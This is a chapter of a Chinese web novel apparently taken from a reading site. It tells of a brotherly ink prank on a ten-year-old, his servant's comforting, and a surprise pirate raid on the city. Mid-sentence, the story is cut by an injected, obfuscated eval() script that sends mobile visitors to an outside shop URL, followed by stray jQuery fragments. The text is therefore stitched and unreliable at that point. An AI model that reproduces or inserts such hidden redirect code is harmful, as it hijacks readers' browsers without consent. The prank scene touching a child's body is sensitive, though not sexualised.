默认冷灰
24号文字
方正启体

16. 突袭

作者:懒圈儿本书字数:K更新时间:
    高濯衡不仅哭,还闹脾气不去上早课,把自己闷在被子里,谁都不理,只一个劲儿的哭,呜呜咽咽的声音中夹杂着:“哥哥…哥…哥坏人!”


    就连赵蓉都扒不开他的被子。


    “你怎么得罪他了?”赵蓉对从外进来的高承翊道。


    高承翊假装不知情地耸了耸肩。


    赵蓉又只得去劝小的:“衡儿,你已经十岁了,如今这样胡闹,简直不如三岁。”


    “衡儿没有胡闹!是哥哥坏!我…再也不和他玩了!我再也不喜欢他了!”小孩儿闷在被子里,声音瓮声瓮气一抽一抽的。


    听得高承翊又想笑了。


    “昨儿不是还好好的吗?”赵蓉问。


    高承翊道:“没事的,母亲先回去吧,您越是在这儿,他越是要闹。”


    他说着推着母亲的肩膀,又带着屋里的人全出了院子。


    高濯衡还在哇哇大哭,夏辛半跪在床边,把手伸进被子,去掏高濯衡的手。


    “二爷,你别哭了。”他攥住了高濯衡的小手,“你告诉我,夏辛跟你一起想法子。”


    高濯衡的哭声这才慢慢小了下去。


    原本正打算进门哄弟弟的高承翊听见哭声小了,便知道是夏辛给哄住了,他现在招人嫌,自觉的站在门口,没进去。


    这边哭声小了,夏辛一头钻进被子里,抱住了高濯衡的肩膀:“到底怎么了?”


    高濯衡才小声的在夏辛耳边说:“我哥可坏了,他自己的小鸟长得吓人,就嫉妒我,把我的给弄坏了…”


    夏辛问:“什么小鸟?又有人给你送鸟了?你又养死鸟了?”


    “不是…”高濯衡委屈死了,“笨蛋!是…”他抓住夏辛的手,探到了他的身上。


    夏辛摸到了那肉乎乎的小东西,立马瞪大了眼睛:“啊!这可是要紧的地方!”老妈子弹射而起,“快快快,爷们儿让我瞧瞧!不得了不得了!怎么弄坏了?还尿的出来吗?”


    门口听见夏辛这声的高承翊,都快笑岔气了。


    他吩咐院里的人去烧水。


    等夏辛弄清楚来龙去脉,再出来打水时,高承翊已经叫人在门口备好了水。


    “别太使劲儿搓,洗不干净也没关系,每天洗,过几天就干净了。”他担心小孩不懂解释道,“就是普通墨水。”


    夏辛端过水,居然胆大的白了大少爷一眼。


    高承翊揪着夏辛的后脖领子玩笑道:“你现在翅膀硬了,小心我也给你鸟上画一个。”


    夏辛挣脱后虽规规矩矩给他鞠了个躬,却脸色阴沉一言不发地回了屋。


    高濯衡昨天被大哥的大宝贝吓着,今早起床撒尿又被自己突然变黑的小宝贝吓着,一时没反应过来。


    直到夏辛执着地扒掉他的裤子才看清楚是墨水。


    知道是墨水画的便也不害怕了,随之而来的是羞臊和对哥哥恶作剧的气恼。


    夏辛打来热水,裹了温温的湿布要帮他擦洗,高濯衡不是很情愿,他哭得太过头,抽抽一时半会儿停不下来,上半身一抖一抖地要去接湿布:“我自己来。”


    “我来吧,擦得干净些。”夏辛道,“没事了没事了,洗干净就好了,不会坏的。”


    高濯衡道:“我知道。”


    高濯衡的眼睛被眼泪淹花了,到头来还是夏辛帮他给擦。


    夏辛一手扶着一手控制着力道去擦墨迹,嘴上还得安慰着:“一碰水就干净了。”


    干了的墨水不是那么好擦的,高濯衡抹了眼泪去看,还是黑的。


    气得更是泪淹总督府。


    这哭得大声,在外头听着的始作俑者,他大哥高承翊心里竟有一丝不是滋味。


    又不敢进去怕弟弟见着他更生气,只好趴在门上听里头的动静。


    只听夏辛好声地劝着:“爷们儿可不能再这么哭了,吓着门口檐下的雏燕。”


    高濯衡就是这样,如果你要说,别哭了,伤了自己的眼睛,伤了自己的身体,别哭了你要坚强勇敢,不要老长不大。


    他才不会听呢,他要哭就哭,要笑就笑,落雨打雷下冰雹,就算天塌下来,他高家二爷要哭,就是要哭。


    早前还能听听大哥的话,大哥说不许哭,他就能忍住眼泪,可今儿这眼泪是大哥惹出来的,谁来都是劝不住的。


    可夏辛说,惊了雏燕。


    高承翊竟听得里头的哭声,越来越小,真的就停了。


    他抬头找,果然在檐角看到了燕巢。


    刚才哭声太大他没察觉,这会儿能听到里头叽叽喳喳的鸟叫声。


    于是此后的几天,高承翊便在家哄弟弟,高濯衡的小鸡洗干净后消了气,还是要粘着哥哥的,高承翊每日等弟弟放课回来后,就坐在院门口的椅子上,抱着弟弟看金鱼,看雏燕。


    夏辛在旁边嗑瓜子,把瓜子仁儿留在小盘里给他二爷吃。


    那是高琰走后的第十二天。


    总督府收到了高琰即日返程的信,加急的信早寄出,又先到,算算时间高琰于今日早晨,就已返回抚州。


    高承翊和高濯衡说,父亲回来后可能会送他去冀州曾外祖那,跟着曾外祖父读书。又或许会让他进京,寻个书香门第的家学。


    若是去京城,届时先生便不止他一个学生,必得学着和学里的同期们好好相处,不可再闹少爷脾气。外祖父还在京城,此前也见过,是个性子温和,极好相处的。届时住在他家,可别蔫儿坏,看外祖父脾气好,就调皮捣蛋。


    若是去冀州,就更得安分些了,曾外祖是进过内阁的,为人刻板严厉,现在上了年纪,若是把曾外祖气着了,就是大罪过了。


    高濯衡问:“哥也一同去吗?”


    高承翊其实是可以和他一起的,但他明年春闱,需要安静的环境读书。


    高承翊道:“若是明年考中了,我再去找你。”


    高濯衡原本的笑脸一下就变了。


    高承翊道:“你总得离开哥哥的,再说了,夏辛会陪着你呀。”


    夏辛捻起一粒瓜子仁儿喂去了高濯衡嘴边。


    高濯衡吃了,顺带拉住了他的手:“你会陪我出去读书吗?”


    “嗯。”夏辛道,“二爷去哪儿我就去哪儿。”


    “那你娘呢?”高濯衡问。


    夏辛道:“又不是不回来,等过年放年假我再去多陪陪她呗。”


    高濯衡这才点头:“那行吧。”


    下午的时候,守备军军营里有人来找高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101029|195711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    承翊,说是周将军有事寻他,让他得空去一趟守备营。


    按理说,守备军的事是军情,可以直接写信给高琰,八百里加急进京。


    但他对晏江的军营十分了解,周季修长他十五岁,两人相交甚笃,亦师亦友。


    高承翊想或许是有事情找他商议,且不是什么大事,和家里招呼了一声,便骑上马过去了。


    起初第一晚,赵蓉没察觉不对。


    跑马去军营,一来一回是要一天的。


    赵蓉是第二天晚上派人去军营找儿子的,可第三天晨起,等来的却是昨夜水寇自晏江汾州海岸登陆,一夜连破汾州、诃州两城。


    垣平正在死守,各地守备军也在往垣平赶去,一旦过了垣平这最后一道防线,后头就是抚州。


    去年大捷之后,宫里就下令减少了晏江的军队人数,将大半兵马调去了位处西北的边塞重地隆州。


    整个晏江兵力空虚,不足三千,又恰好高琰不在。


    别说高琰了,就连高承翊都不知所踪。


    门外有人来报:“夫人从汾州逃来的人说水寇冲进衙门里,把知县,县丞,同那些官眷全杀了,把知县的头挂在他们的大旗上。那些东西杀红了眼,甭管什么,见人就砍。还带了攻城用的炮车,汾州的城墙被炸了三个老大的窟窿…”


    那人越说越害怕,越说越腿软。


    “别慌!”赵蓉打断了他:“昨夜是突袭,守备军没有防备,今日既已调派援军,垣平未必守不住。军营那边有消息吗?莫非翊儿知道军情后,直接去了前线…”


    那人摇头:“现在外头乱了,哪儿还能再找到人呢。”


    “就怕水寇没进来,有贼匪趁机杀人越货”赵蓉当机立断:“快让家丁们去守好门,跟衙门里的衙役、捕快们说,愿意的都可将家眷接来总督府,咱们府院高,人多,门也结实,抚州的那些官家,要来的也让他们躲进来,大家一起也好商议一二。”


    “好,小的这就去。”那人念着阿弥陀佛,跑了出去。


    那时,虽然情况看似危急,但无论是赵蓉,还是抚州城中的百姓,谁都不会相信抚州城真的会被攻破。


    水寇闹了这么久,可抚州不沿海,外头有三个州县挡着,汾州、诃州如何受难,死了多少人,多少人无家可归,都动摇不了抚州的繁华。


    达官显贵们穿着丝绸在小柳河听曲,吟风弄月,赋雅风流。


    他们相信,水寇不足为惧,那些穷乡僻壤的无教小国,是不毛之地,太穷了才出来抢劫。


    抢了一两个镇,最多一个县,就会立马跑回船上。


    多留一刻,被赶去的守备军抓住,就是全军覆没。


    “不是说,打完了吗?”赵蓉问躲来总督府的官员们,“缴获了那么多船只、火器,全歼他们数万人,这才短短几月,怎会如此迅速反扑而来?”


    众人无言


    赵蓉又问:“他们哪来的银钱?哪来的船、炮,哪来的人?”


    她想不通:“这么多年,都是抢了就走,为何这次,看上去竟有直冲抚州之势?他们不知内陆布防,也对地形不熟,怎会有胆子来?又怎会来的那么快?”


    没人能回答赵蓉,这是他们所有人心中的疑问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)